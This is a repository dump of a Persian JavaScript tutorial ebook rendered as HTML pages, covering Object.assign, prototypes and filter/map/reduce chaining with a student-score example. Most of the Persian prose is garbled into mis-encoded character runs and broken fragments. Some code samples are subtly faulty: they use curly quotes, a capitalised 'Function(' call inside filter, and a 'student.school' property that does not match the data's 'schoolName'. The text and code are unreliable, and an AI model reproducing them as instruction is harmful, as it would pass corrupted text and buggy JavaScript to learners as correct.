Repository: Mariotek/better-understanding-of-javascript Branch: master Commit: 385091e9449b Files: 273 Total size: 8.6 MB Directory structure: gitextract_qqrkz3gm/ ├── APK/ │ └── BetterUnderstandingOfJavascript.apk ├── CNAME ├── HTML/ │ ├── 1.html │ ├── 10.html │ ├── 100.html │ ├── 101.html │ ├── 102.html │ ├── 103.html │ ├── 104.html │ ├── 105.html │ ├── 106.html │ ├── 107.html │ ├── 108.html │ ├── 109.html │ ├── 11.html │ ├── 110.html │ ├── 111.html │ ├── 112.html │ ├── 113.html │ ├── 114.html │ ├── 115.html │ ├── 116.html │ ├── 117.html │ ├── 118.html │ ├── 119.html │ ├── 12.html │ ├── 120.html │ ├── 121.html │ ├── 122.html │ ├── 123.html │ ├── 124.html │ ├── 125.html │ ├── 126.html │ ├── 127.html │ ├── 128.html │ ├── 129.html │ ├── 13.html │ ├── 130.html │ ├── 131.html │ ├── 132.html │ ├── 133.html │ ├── 134.html │ ├── 135.html │ ├── 136.html │ ├── 137.html │ ├── 138.html │ ├── 139.html │ ├── 14.html │ ├── 140.html │ ├── 141.html │ ├── 142.html │ ├── 143.html │ ├── 144.html │ ├── 145.html │ ├── 146.html │ ├── 147.html │ ├── 148.html │ ├── 149.html │ ├── 15.html │ ├── 150.html │ ├── 151.html │ ├── 152.html │ ├── 153.html │ ├── 154.html │ ├── 155.html │ ├── 156.html │ ├── 157.html │ ├── 158.html │ ├── 159.html │ ├── 16.html │ ├── 160.html │ ├── 161.html │ ├── 162.html │ ├── 163.html │ ├── 164.html │ ├── 165.html │ ├── 166.html │ ├── 167.html │ ├── 168.html │ ├── 169.html │ ├── 17.html │ ├── 170.html │ ├── 171.html │ ├── 172.html │ ├── 173.html │ ├── 174.html │ ├── 175.html │ ├── 176.html │ ├── 177.html │ ├── 178.html │ ├── 179.html │ ├── 18.html │ ├── 180.html │ ├── 181.html │ ├── 182.html │ ├── 183.html │ ├── 184.html │ ├── 185.html │ ├── 186.html │ ├── 187.html │ ├── 188.html │ ├── 189.html │ ├── 19.html │ ├── 190.html │ ├── 191.html │ ├── 192.html │ ├── 193.html │ ├── 194.html │ ├── 195.html │ ├── 196.html │ ├── 197.html │ ├── 198.html │ ├── 199.html │ ├── 2.html │ ├── 20.html │ ├── 200.html │ ├── 201.html │ ├── 202.html │ ├── 203.html │ ├── 204.html │ ├── 205.html │ ├── 206.html │ ├── 207.html │ ├── 208.html │ ├── 209.html │ ├── 21.html │ ├── 210.html │ ├── 211.html │ ├── 212.html │ ├── 213.html │ ├── 214.html │ ├── 215.html │ ├── 216.html │ ├── 217.html │ ├── 218.html │ ├── 219.html │ ├── 22.html │ ├── 220.html │ ├── 221.html │ ├── 222.html │ ├── 223.html │ ├── 224.html │ ├── 225.html │ ├── 226.html │ ├── 227.html │ ├── 228.html │ ├── 229.html │ ├── 23.html │ ├── 230.html │ ├── 231.html │ ├── 232.html │ ├── 233.html │ ├── 234.html │ ├── 235.html │ ├── 236.html │ ├── 237.html │ ├── 238.html │ ├── 239.html │ ├── 24.html │ ├── 240.html │ ├── 241.html │ ├── 242.html │ ├── 243.html │ ├── 244.html │ ├── 245.html │ ├── 246.html │ ├── 247.html │ ├── 248.html │ ├── 249.html │ ├── 25.html │ ├── 250.html │ ├── 251.html │ ├── 26.html │ ├── 27.html │ ├── 28.html │ ├── 29.html │ ├── 3.html │ ├── 30.html │ ├── 31.html │ ├── 32.html │ ├── 33.html │ ├── 34.html │ ├── 35.html │ ├── 36.html │ ├── 37.html │ ├── 38.html │ ├── 39.html │ ├── 4.html │ ├── 40.html │ ├── 41.html │ ├── 42.html │ ├── 43.html │ ├── 44.html │ ├── 45.html │ ├── 46.html │ ├── 47.html │ ├── 48.html │ ├── 49.html │ ├── 5.html │ ├── 50.html │ ├── 51.html │ ├── 52.html │ ├── 53.html │ ├── 54.html │ ├── 55.html │ ├── 56.html │ ├── 57.html │ ├── 58.html │ ├── 59.html │ ├── 6.html │ ├── 60.html │ ├── 61.html │ ├── 62.html │ ├── 63.html │ ├── 64.html │ ├── 65.html │ ├── 66.html │ ├── 67.html │ ├── 68.html │ ├── 69.html │ ├── 7.html │ ├── 70.html │ ├── 71.html │ ├── 72.html │ ├── 73.html │ ├── 74.html │ ├── 75.html │ ├── 76.html │ ├── 77.html │ ├── 78.html │ ├── 79.html │ ├── 8.html │ ├── 80.html │ ├── 81.html │ ├── 82.html │ ├── 83.html │ ├── 84.html │ ├── 85.html │ ├── 86.html │ ├── 87.html │ ├── 88.html │ ├── 89.html │ ├── 9.html │ ├── 90.html │ ├── 91.html │ ├── 92.html │ ├── 93.html │ ├── 94.html │ ├── 95.html │ ├── 96.html │ ├── 97.html │ ├── 98.html │ ├── 99.html │ ├── annotations.json │ ├── assets/ │ │ ├── idrviewer.annotations.js │ │ ├── idrviewer.css │ │ ├── idrviewer.fullscreen.js │ │ ├── idrviewer.js │ │ ├── idrviewer.querystring-navigation.js │ │ └── idrviewer.search.js │ ├── browserconfig.xml │ ├── config.js │ ├── humans.txt │ ├── index.html │ ├── manifest.json │ ├── robots.txt │ ├── search.json │ ├── sw.js │ ├── workbox-46415db6.js │ └── workbox-cae64c9a.js ├── LICENSE ├── README.md └── workbox-config.js ================================================ FILE CONTENTS ================================================ ================================================ FILE: CNAME ================================================ js.basic.sayjeyhi.com ================================================ FILE: HTML/1.html ================================================
================================================ FILE: HTML/10.html ================================================
37
...........................................................................................
object
¶É
ا¾ سا
ÈÆÀ
ر
38
.......................................................................................
object
ا در
È
ژگی
±À ¶±²±¹
م
38
.......................................................................................
ا
È
ژگی
±À Á
سی ب
²¸
دس
39
......................................................................................
ا
È
ژگی
±À ²±
مقاد
²½½
تغ
39
...........................................................................................
¹±¹
ژگی ج
±À
اد
ر´
40
....................................................................................
object
ژگی ´ز
±À Ù
حذ
40
.............................................................................
object
ا¾
È
ژگی
±À ¾¹Ñ
ب
²Í½
پ
41
...........................................................................................
)Arrays
(
ا
ÈÁ±´
آر
43
........................................................................................
)
Functions
( Ú
تو´ب
44
.....................................................................................................
ا
È Û´²¸½
ل
45
....................................................................
د´ده
Ö´
و
º´ ¾´²
ه ب
¹
ش
³±²
ا¾ تع
ȹ¸
م
46
..............................................................................................
²±
مقاد
Á˱
مقا
46
..........................................................................................
)Equality
( ¾²
´ب
²
ب
49
.....................................................................................
)Inequality
( ¾²
´ب
²
اب
º
م
±
بخش س
[
¸ا و حلقه ¸ا
µ
ود
¹º
شرط´، م
»²¼
½با
52
.........................................................................
)Conditionals
(
ی
ܲ
ش
Ê´
ار
Ç¿
53
.......................................................................................
طی
É
ن
À
ا¾ در
Èݲ
ش
54
..........................................................................................
)Scope
(
ده
À¹Õ
م
55
.........................................................................................
ا¾ تودرتو
È
ده
À¹Õ
م
58
...........................................................................................
)
Loops
(
ا
ÈÁ
ق
Ð
ح
58
.................................................................................
do-while
À
while
Á
ق
Ð
ح
59
.....................................................................................................
for
Á
ق
Ð
ح
================================================ FILE: HTML/100.html ================================================
const
user = {
name:
“ali”
,
age:
32
,
married:
false
,
favoriteColors: [
“green”
,
“blue”
]
};
const
newUser =
Object
.assign({name:
“mehdi”
, class:
“4B”
},
user);
console
.log(newUser.class);
// “4B”
console
.log(newUser.name);
// “ali”
µ
اب
â ¶
¼ ب
ϳ²
ک
assign
Ù
با ه
»
ر
user
´»²
ب
²æÁ ³
مور
object
Ï»²È
ب¶ ه
object
Ú±
ما
ø
و
Ó
ر کد
³
Æ
ک¶ شام
³
¾¶ م·شو
Ã
ا
º ´
د
±
جد
object
À
ی
à
¿ ¸خ
±» Ö
ا
ßÁ»
، با
Ù±»Ï³»³ À
ی
à
¸خ
newUser
هد بو
»
و
Ã
object
¼³ ²
ژگ·ها´ ه
±¼ Ö
ا
ȸ
·±°
با
µ
ی
È
ه
» ¶
، ک
槯
assign
شیاء ب¶ م¾د
» ¶Ç»
ر
» é
¸ی
²¸ ،³
ر
»³ ³
¼جو
ø
و
Ó Ñ
ر مثا
³ ¶
ید´ ک
Â
¾¶ ک
¹Á
¿¾Ó²
ر گ
»²
ق
³
، با ¼جو
object
¼³ ²
ز ه
» ²æÁ ³
ژگ·ها´ مور
±¼
شدن
assign
ز
» ìÅ ،
ید
É
ک
µ
ق
³ ²
گ
» ،³
ر
»³
¿±» Æ
لی
³ .µº» ²
ب
»²
ب
ali
ر
»
د
Ý
وز با م
É
ر آن ه
»
د
Ý
، م
Ï
شد
ϳ»³ ¶Ç»
ر
»
object
¼³ ²
ر ه
³
name
ژگ·
±¼
ب¶ آن
»
ه· ر
³
ر
»
د
Ý
م
µ±
¼لو
» ¶
م·باشد ک
²¾
م
»
ار
Å ¿
¼می
³
ر
³
user
ب¶
Ê
بو
²
م
object
¿¾Ó²
ر گ
»²
ق
²
م
»
هد بو
»
و
Ã
¼ج· کد م¾فا¼ت
²Ã ،Ù
هی
³ ²
¸÷یی
»
ر
é
¸ی
²¸ ¿±» ²
گ
» ،µº» ϳ»³
const
user = {
name:
“ali”
,
age:
32
,
married:
false
,
favoriteColors: [
“green”
,
“blue”
]
};
const
newUser =
Object
.assign(user , {name:
“mehdi”
, class:
“4B”
});
console
.log(newUser.name);
// “mehdi”
¿±» ¼
م·باشد
object
¼می¿
³
ر
³
ر آن
»
د
Ý
با م
²
ب
»²
ب
name
ژگ·
±¼
ر
»
د
Ý
ک¶ م
Ù
ی
É
م·ک
Ï
اهد
Ð
م
شدن م·باشد.
assign
´»²
شیاء ب
» ¶Ç»
ر
»
ر
³ ´
د
É
ب
µ±
¼لو
» ²
ی
â
¸ا
Ï
د
É
ه
³
ان
ÐÁ ç
موضو
98
²º
ه
±
ه آ¾ا
Á
رف
ÅÆ
حث پ
²
مب
================================================ FILE: HTML/101.html ================================================
[
object
Æ
ر
³ Ù¼²
´²
ب
ÿ
ر
» ²Ì±³
object
Ú±
ز
» Æ
ق
»
حد
þ²Ó Ä
ی
Å
ب¶ صورت
µ
پ
±²¹º»¼
ها´ جا
object
¶È
ه
ب¶ کار
²ß¸ ²
گ
» .
لد م·باشد
»¼ Û
ب
»
ا ¸و
± ¼
ژگ·ها
±¼ ´²º Ú± ¿¾
ش
»³ ·ÉÕ
ب¶ م
3
´²
ب
ÿ
ر
» Ö
و
Ô
د، مف
Á
ر
»³
·È
ک
µ
پ
±²¹º»¼
کار با جا
Ö
ا
ÌÉ
ر ه
³ µº» ¿¹È
ش¾¶ باشید، م
»³ »
ر
java
ا
±
C++
د
ÉÁ
· ما
±
با زبانها
¾¶ ¸ا
Î
ل
»(
د
±
ر
»
د
Á
¼ کار
²º
class
Ö
ا
Á ¶
ید´ ب
Â
¶ ک
ÈÂ
با ک
þ²Ó Ä
ی
Å
ک¶ ب¶ صورت
»²
د، چ
±
شو
Ù
رگ
³²º
ید،
É
ک
³
ا
ß±» »
ر
³
و
à ²æÁ ³
´ مور
²
ب
ÿ
ر
»
ید
Á»
م·¸و
prototype
ز
» ϳ
¾فا
º»
¼ با
)ES6 ¶
سخ
Á
ز
» ÆÎ
ق
ید.
É
¶ ک
Õ
ال
ä
ید م
Á»
ک¶ م·¸و
µº» Ï
آمد
ÆÎ
ق
Ä
ر بخ
³
prototype
Ï
ربار
³ ·Âà
ات مف
Þ
¸وضی
[
)
method chaining(
¸ا
¹¿
م
Æ
ر
Ã×·
·´ ز
²¶
خ
²
فر
¶ها´
Á
· هس¾¶ ک¾ابخا
º
ر
²
ا ب¶ ب
± ¼
پ¾· باشید
±²¹º»¼
دها´ جا
Á²¸
ن
³²
ک
Ñ
ا
ÎÁ³
ر
»
د
Ó²
ط
²
گ
»
´ م¾دها´
»Ï²
ی
ßÁ
ن ز
³
ز
»
با صد
°
ا
Ⱦ
ح
» ،
ش¾¶ باشید
»³ ¶
ق
Í
ع
µ
پ
±²¹º»¼
با جا
Ï
وش¾¶ شد
Á
Ä
¿ بخ
±»
ر
³ .
باشید
ϳ²
ک
ϳ
¾فا
º»
ز آن
» µº» ¿¹È
ا ح¾· م
± ¼
د
±»¶¾
ش
»³ ³
ور
ò
ب
µ
پ
±²¹º»¼
جا
µ
پ
±²¹º»¼
· جا
Âû³ ´
¼ م¾دها
Û
ب
»
ز ¸و
» ·±
ها
Ñ
مثا
ì
پ
º ¼ Ï
ا شد
É
آش
ïÍä
ص
» ¿±» Ö
و
Ô
با مف
»
ب¾د
»
³
و
à ´
ها
íÍ
´ ک
»²
ان ب
¹
م
» ¿±» ³
ا
ß±» Ï
و
ÞÁ ¼ ³²È
ش
Ù
هی
»
و
à ²
ب
»
د ر
Á
ر
»³ ´»Ï²
ی
ßÁ
· ز
Á»
و
û²Ó
ان
¹
م
» ¶
ک
یاز
Á Ä
ی
Å Æ
لی
³ ¶
ب
( .Ù
هی
³·
ر م
»²
· ق
º
ر
²
ب
³
مور
»
ر
Ù
¾ی
Ã
آمو
Ä
ی
Å Ä
ر بخ
³ ¶
· ک
±
س¾¶ها
Á»³ ëÎ
ط
)
ید
É
¶ ک
Õ
ال
ä
م
µ
ق
³ ¶
ب
±
ر
ها
¶±»
م¾دها´ آر
Ä
بخ
Ë
و
àà ¶
، ب
ÆÎ
ق
Ä
فا بخ
ä
ن، ل
³
بو
د
Á
شو
ϳ
ز
»
صد
object
Ú± ´¼
ر
²
ب
Ù
ه
²º µÐÅ
ب¶ صورت
Û
¿ ¸اب
±
د
É
چ
Ù±
ر
»³
یاز
Á ،Û
ق
»
· مو
ò
ر ب
³
Ù
هی
»
و
÷
¼ م
Ù
ی
É
´ کار م·ک
»¶±»
ر¼´ آر
²
ید ب
É
ک
þ²Ó Ñ
´ مثا
»²
، ب
³
شو
ëÝÞ
م
Ë
ا
à ò
هد
Ú±
¸ا
¼ Ù
ی
É
ک
Ñ
ا
È
ع
» ²æÁ ³
¶ مور
±»
ر¼´ آر
²
ب
»
ر
Ù±
ا شد
É
با آنها آش
Ä
¿ بخ
±»
ر
³ ¶
· ک
±
ز م¾دها
» ´³»
د
Õ¸
هی
³ ı
ا
ÈÁ »
¶ ر
ß
¾ی
Á
وش¾¶
Á ¶
، کد´ ک
Ù
هی
³ Ö
ا
ßÁ» »
¿ کار ر
±» ´»Ï²
ی
ßÁ
· ز
Á»
و
û²Ó ³²¹±¼
ز ر
» ϳ
¾فا
º»
بد¼ن
Ù
هی
»
بخو
²
گ
»
´³²
کارب
Ñ
مثا
Ú±
، با
³²
م·گی
³
و
à ¶
ب
Ï
ر شد
»²¹¸ ´²
¼ ظاه
µ
ش
»³
هد
»
و
à ´²¸°
با
Ùß
هد شد، ح
»
و
Ã
²Ô
ش
Ú± ·Á
¾ا
º²
بی
³
ن
»
آموز
ÄÁ»³
ز
» ·¾
ید لیس
É
ک
þ²Ó .³²
هید ک
»
و
à Ø
ر
³ ²¾Ô
¶ ب
ÂÈ
¿ ج
±»
Ö
و
Ô
مف
.Ù±
ر
»³
د
Õ
ب
Ñ
ر مثا
³ Ï
¶ شد
Ç»
ر
» ƹ
´ ب¶ ش
»¶±»
آر
é
ر قال
³
¶ آنها
º
ن مدر
»
و
É
ع
Ï»²È
ب¶ ه
»
ر
3 Inheritance
99
Í×
پن
ØÉ³
================================================ FILE: HTML/102.html ================================================
const
students = [
{name:
“ali mohammadi”
, score:
17
, schoolName:
“motahari”
},
{name:
“ahmad mirzaei”
, score:
18
, schoolName:
“sayyad”
},
{name:
“ahmad shirazian”
, score:
17
,schoolName:
“ahmadian”
},
{name:
“reza alavi”
, score:
18
, schoolName:
“nour”
},
{name:
“reza jafari”
, score:
18
, schoolName:
“motahari”
},
{name:
“ali akhbari”
, score:
16
, schoolName:
“sayyad”
},
{name:
“mehrdad kabiri”
, score:
18
, schoolName:
“motahari”
},
//...
{name:
“alireza kabiri”
, score:
18
, schoolName:
“alavi”
},
{name:
“mehran momeni”
, score:
18
, schoolName:
“ghods”
},
{name:
“esmaeil nemati”
, score:
18
, schoolName:
“ahmadian”
},
{name:
“eisa rezaei”
, score:
18
, schoolName:
“sayyad”
},
{name:
“mahmood kamrani”
, score:
18
, schoolName:
“nour”
},
];
í
ا
º» ²
ب
»
´ ر
²Ôä
¶ م
º
د مدر
ÉÁ
، ما
í
ر
»
ز مد
» ·¹±
ن
»
آموز
ÄÁ»³
ت
»²ÈÁ ¿
ی
ÌÁ
میا
Ù
هی
»
بخو
²
گ
»
ê¾
ها´ مخ
³²¹±¼
د ک¶ با ر
º
م·ر
²æÁ ¶
ب
ϳ
ا
º
¾ا
Î
س
Á ´»¶Â
، مسئ
Ù±
بیا¼ر
µº
بد
100
ز
» ´
یار
Õ
م
¿±» ¶
، ب
Ù
ی
É
م·ک
ð±²Ð¸ ³
و
à ´»²
ب
»
یاز ر
Á ³
مور
Ù¾±
ور
Ì
ل
» »
ب¾د
» .³
و
ÈÁ Æ
ح
»
¶ ر
Â
¿ مسئ
±»
ن
»
م·¸و
از´
º»
، جد
³
¶ موجو
±»
ز آر
» »
ر
³
و
à ²æÁ ³
¶ مور
º
ن مدر
»
آموز
ÄÁ»³ Ù±
ر
»³
یاز
Á »
ب¾د
»
ر
³ ¶
صورت ک
ی
É
حسا½ ک
»
ی¿ آن ر
ÌÁ
میا
ì
پ
º ¼ ϳ²
ک
100
ز
» ´»Ï²ÈÁ ¶
ب
Ʊ
د
θ »
آنها ر
Ñ
د
Õ
م
ì
پ
º ¼ ϳ²
ک
²±
اب¶ ز
Ð
، کد´ م
Ù
ی
É
ک
»²
ج
» »
ر
Ù¾±
ور
Ì
ل
» ¿±» Ù
هی
»
بخو
for
¶ÝÂ
ز ح
» ϳ
¾فا
º» ¼ ·¾Éº ³²¹±¼
با ر
²
گ
»
ی
É
ک
»²
ج
» »
ر
function
getStudentsScoreAverage
(
data
) {
var
sum =
0
,count =
0
;
for
(
var
i =
0
; i < data.length; i++){
if
(data[i].schoolName ===
‘motahari’
){
var
tempScore = data[i].score;
sum += (tempScore *
100
/
20
);
count++;
}
}
return
sum/count;
}
getStudentsScoreAverage(students);
// 88.33
100
²º
ه
±
ه آ¾ا
Á
رف
ÅÆ
حث پ
²
مب
================================================ FILE: HTML/103.html ================================================
´ کس·
»²
ب
Æ
· ¸ام
È
آن با ک
Ø
ر
³ ¼ µ
یس
Á é
جال
³
ا
±
¿ کد ز
±» ¶
باشید ک
ëÓ»
ی× با م¿ مو
Á
ا
È
ش
°
ا
Ⱦ
ح
»
¼ Ù
ش¾¶ باشی
»³
ر آن
³ ·±
ا
äà ²
گ
» ×
ی
Á Ï
د
ɱ
ر آ
³ ¼ µº» Ï»²È
د ه
É
م·ک
Ï
اهد
Ð
م
»
¼لی¿ بار کد ر
» ¶
ک
²¾Â
ی
Ó
د
ÉÁ
، ما
ø
و
Ó
ها´ کد
Ä
ز بخ
» Ú± å
¶ هی
¹É±» ϼÍÕ
. ب
³
هد بو
»
و
Ã
ر
»
شو
³ Ù
ی
É
ا ک
äà ÛÓ
ر
Ù
هی
»
بخو
°
ا
Ⱦ
ح
» ìÅ .³
ر
»
د
Á ³
د
ß
م
ϳ
¾فا
º» µ
ی
Â
قاب
Ñ
د
Õ
¶ م
κ
ا
Þ
ا م
± ´²Ôä
¶ م
º
ن مدر
»
آموز
ÄÁ»³
ن
³²
ک
هد.
³·
¶ م
Ç»
ر
» ´²¾Ô
¼ج· کد ب
²Ã ¶
ک
Ù±
ر
»³ ×
ی
Á ´²¾Ô
ب
³²¹±¼
ر
ز
» ϳ
¾فا
º»
¶ها با
±»
ز م¾دها´ آر
» ³
و
à ´
¾¶ها
Ã
¼ با ¸وج¶ ب¶ آمو
Ï
شد
ï²ä
د´ م
É
یازم
Á ¶
با ¸وج¶ ب
ی
É
ک
»²
ج
» Ï
شد
ï²ä
¶ م
Â
´ مسئ
»²
´ ب
²¾Ô
کد ب
Ù
ی
É
· م·ک
Õº
reduce
¼
map
¼ filter ´
م¾دها
²
ک
è ¶º
و مدر
ñ
ن ع
»
آموز
ÄÁ»³ µ
ن لیس
³
آ¼ر
µº
´ بد
»²
ب
Ï
¶ شد
Ç»
ر
» µ
ن لیس
³²
ک
²¾Â
ی
Ó
با
»
ب¾د
»
ر
³
ی
É
م·ک
ϳ
¾فا
º» filter
ز م¾د
» Ï
شد
var
motahariStudents = students.filter(Function(
student
){
return
student.schoolName ===
‘motahari’
;
});
console.log(motahariStudents);
¶º
ن مدر
»
آموز
ÄÁ»³
ز
» ·¾
ب¶ لیس
óÝÓ ¼ ϳ²
ک
²¾Â
ی
Ó ·
گ
³
ا
º ¶
ب
»
ر
³
و
à µ
¿ م¾د لیس
±» ´»²
ج
»
با
¶Îº
ا
Þ
م
100
ز
» ´
یار
Õ
م
í
ا
º» ²
ب
»
ن ر
»
آموز
ÄÁ»³ Ñ
د
Õ
م
Ù
هی
»
و
÷
م
Ñ
، حا
Ù±»Ï
ید
º
ر
²æÁ ³
مور
ی
É
ک
ϳ
¾فا
º»
map
ز م¾د
» Ù
ی
Á»
ار م·¸و
¹É±» ´»²
، ب
Ù
ی
É
ک
var
scoreBasis = motahariStudents
.map(function(
student
){
return
(student.score * 100) / 20;
});
console.log(scoreBasis);
»
ید
Å ²
ما ¸÷یی
²æÁ ³
ر مور
»
د
Ý
آموز، ب¶ م
ÄÁ»³ ²
ه
object
ها´
Ñ
د
Õ
م
ø
و
Ó
map
Û
´ ¸اب
»²
ج
»
با
¶¹
رحالی
³ Ù±»¶¾
وش
Á
indent
ر
»
د
Ý
م
Ú±
¼ با
²¸¿
ی
±
ا
Å »
ر
map
م¾د
»²
ید ک¶ چ
É
ک
Ñ»
و
º
د
±
د. شا
É
م·ک
îÞ
ب
µÝ
ی
Ý
ر ح
³ ¼ µº» ·
وب
à ѻ
و
º ،Ù
سی
±
و
É
ب
motahariStudents
²
م¾÷ی
Æ
اب
Ý
م
Ù
س¾ی
Á»
م·¸و
´ م¾د
»²
د ب
Õ
´ کد ب
»²
ج
»
ز
» ìÅ »
¶ ر
Â
¿ مسئ
±»
د
±
ر
»
ذ
Ì
. ب
³
هد بو
»
و
à ç
ی¿ موضو
È
ی× ه
Á
· ما
Â
ص
»
ی
É
ن بیان ک
»
آموز
ÄÁ»³ Ñ
د
Õ
¶ م
κ
ا
Þ
ب¶ م
Ê
بو
²
یات م
ÂÈ
ع
Ö
ا
ßÁ» ¼
reduce
101
Í×
پن
ØÉ³
================================================ FILE: HTML/104.html ================================================
scoreBasis
// create array to sum,count
.reduce(function(
[sum , count],
score) {
return
[
sum + score ,
++count
];
} , [
0
,
0
])
// calculate average with created [sum, count]
.reduce(function(
sum, count
){
return sum/count;
});
دن
±³
د با
±
، شا
Ù
ی
É
م·ک
ϳ
¾فا
º» ´
ز
»
ب¶ صورت مو
reduce
Û
¼ ¸اب
³ é
کی
²¸
ز
» ،¿
ی
ÌÁ
¾¿ میا
Ó²
´ گ
»²
ب
·Â
کام
ï²
اشید ش
ÎÁ
ن
»²ÌÁ
ما
» ،
د
±
· شو
È
رگ
³²º
چار
³
آن
³²
کارک
³
ر مور
³ ¼
ید
É
ک
éßÕ¸ ·È
ک
ø
و
Ó
کد
ها´
Ä
´ بخ
»²
· ک¶ ب
±
¶ کدها
¹¸ ،Ù
هی
³·
¶ م
Ç»
ر
» ²¸
و
Â
· ج
È
ک
»
ها´ آن ر
Ä
بخ
Ú¸ Ú¸ ³²
کارک
Ï
و
ÞÁ
ز
»
شو
Æ
ی
ȹ¸
م¾دها
ϲ
ی
ßÁ
ز
Ö
و
Ô
¸ا مف
Ù
ی
É
م·ک
Æ
¼ص
Ù
ب¶ ه
»
ر
Ù±» ¶¾
وش
Á Ù¾±
ور
Ì
ل
» ê¾
مخ
var
studentsScoreAverage= students.filter(
function
(
student
)
{
return
student.schoolName ===
‘motahari’
;
})
.map(
function
(
student
){
return
(student.score *
100
) /
20
;
})
.reduce(
function
(
[sum , count], score
) {
return
[
sum + score ,
++count
];
} , [
0
,
0
])
.reduce(function(
sum, count
){
return sum/count;
});
// output: 88.33
102
²º
ه
±
ه آ¾ا
Á
رف
ÅÆ
حث پ
²
مب
================================================ FILE: HTML/105.html ================================================
یدن ب¶
º
ر
²
ر مسی
³ »
ر
³
و
à ÄÝÁ ¶Á
و
Ì
ز کد چ
» Ä
بخ
²
ک¶ ه
Ù
ی
É
ک
Ï
اهد
Ð
م
Ù
ی
Á»
گ· م·¸و
³
ا
º ¶
ب
Ï
´ ¸ولید شد
»¶±»
¼ج· آر
²Ã ²æÁ ³
´ م¾دها´ مور
»Ï²
ی
ßÁ
· شدن ز
Á»
و
û²Ó
د ¼ با
É
فا م·ک
±» ·
¼ج
²Ã
و½ ¸ولید
Âä
¼ج· م
²Ã µ±
ا
ÔÁ
ر
³ ¼ ³²
ر م·گی
»²
ق
ϳ
¾فا
º» ³
مور
²Ì±³
م¾د
óº
م¾د، ¸و
²
ه
óº
¸و
وز ب¶
É
ما ه
» µº» Ï
از´ شد
º»
وب· جد
à ƹ
¼ ب¶ ش
³
ر
»³ ·Îº
ا
É
م
³²¹ÂÈ
ع
ø
و
Ó
¶ کد
¹¸ .³³²
م·گ
.µº» Ï
د
ÐÁ ϳ
¾فا
º»
pure
4
Û
ب
»
ز ¸و
» Ñ
آ
Ï
د
±» ƹ
ش
³
ا
ß±» ²
ی
Ã
ا
± µ
´ هس
²Ôä
¶ م
º
و مدر
ñ
آموز´ ع
ÄÁ»³ ¶¹É±» ·º
ر
²
´ ب
»²
ب
pure
Û
¸اب
Ú± »
ب¾د
»
ر
³
true
ر´
»
د
Ý
آموز، م
ÄÁ»³
object
Ú±
ز
» À
خ
Ð
´ م
³¼
با ¼ر
Ï
ر
»
و
È
¿ صورت ک¶ ه
±» ¶
. ب
Ù
ی
É
م·ک
´ م·باشد:
²Ôä
¶ م
º
ر مدر
³
آموز
ÄÁ»³
آن
µ±
و
ñ
· ع
º
ر
²
¶ ب
ß
¾ی
Á ¶
هد ک
³·
م
µÐ
بازگ
false
ا
±
var
isMotahhariStudent =
function
(
student
){
return
student.school ===
‘motahari’
;
};
سی
±
و
Á·
م
100
ز
» ´
ر
»
د
Ý
م
é
حس
²
ب
Ñ
د
Õ
¶ م
κ
ا
Þ
´ م
»²
· ب
Õ
¸اب
ì
پ
º
var
studentScore =
function
(
student
){
return
(student.score *
100
) /
20
;
};
´²Ì±³ ¼
ن
»
آموز
ÄÁ»³ Ï
شد
²¾Â
ی
Ó ³»
د
Õ¸ ¼ ç
و
Èß
ن م
³
آ¼ر
µº
´ بد
»²
· ب
¹± ،Û
¼ ¸اب
³ µ±
ا
ÔÁ
ر
³ ¼
آنها:
³»
د
Õ¸ ¼
ت
»²ÈÁ ç
و
Èß
¶ م
κ
ا
Þ
´ م
»²
ب
Ѽ» Û
، ¸اب
Ù
سی
±
و
Á·
ی¿ م
ÌÁ
¶ میا
κ
ا
Þ
´ م
»²
ب
var
calulateSumAndCount =
function
(
[sum , count], score
) {
return
[
sum + score ,
++count
];
};
ک¶
µº» ´»Ï²ÈÁ Ö¼³ ´³¼
¼ ¼ر
µº» ²
اص
É
ع
³»
د
Õ¸ ¼ ç
و
Èß
م
Æ
¶ شام
±»
آر
Ú± Û
¸اب
Ѽ» ´³¼
¼ر
µÐ
´ بازگ
»¶±»
´، آر
³¼
ها´ ¼ر
²¾
م
»
ار
Å µÓ
ا
±
ر
³
. با
Ù
ی
É
ک
Æ
ی
ó
ت
»²ÈÁ ç
و
Èß
¶ م
κ
ا
Þ
ر م
³ Ù
هی
»
و
÷
م
³»
د
Õ¸ Ä
¼م
³ ì±
د
Á» ¼ ·ÂÕÓ Ï²ÈÁ ¶Ó
ضا
» ¶
· ب
ÂÎ
ها´ ق
ϲÈÁ ç
و
Èß
م
Ä
¼ل
» ì±
د
Á» ¶
ک
Ù
هی
³·
م
¼ز
²
ب
î
باع
Ï
وش¾¶ شد
Á ¶
ام
Á²
ر ب
³ ¶¹É±»
د، بد¼ن
É
ه
³·
م
µÐ
· بازگ
Á
سا
¹± ·
¼ج
²Ã Ï
ر
»
و
È
سان، ه
¹± ´³¼
¶ ¼ر
Ç»
ر
»
· ک¶ با
Õ
ب
»
¸و
4
شو
²Ì±³ Û
ب
»
ر ¸و
³ ¶¾Ó
ب¶ کار ر
²±³
ا
Ý
ا م
± ·
وم
È
ها´ ع
²
ر م¾÷ی
³ ²
د ¸÷یی
ÉÁ
ما
)
side effect
( ·ÎÁ
رض· جا
»
عو
103
Í×
پن
ØÉ³
================================================ FILE: HTML/106.html ================================================
³»
د
Õ¸ ¼ ç
و
Èß
م
µÓ
ا
±
ر
³
ی¿، با
ÌÁ
¶ میا
κ
ا
Þ
´ م
»²
· ب
Õ
¸اب
ƹ
ی¿ ش
È
. ب¶ ه
槯
ن
»
آموز
ÄÁ»³
ی
É
م·ک
³
ا
ß±» ²±
ز
ƹ
ب¶ ش
²
اص
É
ع
var
getAverage =
function
(
sum, count
){
return
sum/count;
};
·Â¹
ب¶ ش
»
´ م¾دها ر
²
ی
ßÁ
· ز
Á»
و
û²Ó ،
ر کد
³ Ï
ح· شد
»²
ط
pure
Û
ب
»
ر´ ¸و
»
ذ
̱
با جا
Ù
ی
Á»
م·¸و
Ñ
حا
ی
É
ح· ک
»²
ط
²¸Ï³
ا
º
بسیار
var
studentsScoreAverage = students
.filter(isMotahhariStudent)
.map(studentScore)
.reduce(calulateSumAndCount , [
0
,
0
])
.reduce(getAverage);
// output: 88.33
دگان
ÉÁ»
و
à ´»²
ب
²¸Ï³
ا
º Ø
ر
³
ان
¹
م
» Ù
ک¶ ه
槯
ر
»³
ور
ò
· ب
±
ا
Á»
و
à ¼ ·
گ
³
ا
º µ±
ا
ÔÁ
ز
»
¶ کد
¹¸ ¿±»
ر
³ ·ÎÁ
ا عارض¶ جا
±
side effect
å
¼ هی
³
م·آ¼ر
Ù
ه
»²Ó »
ر
ú
ا
α³
ر
³ ·
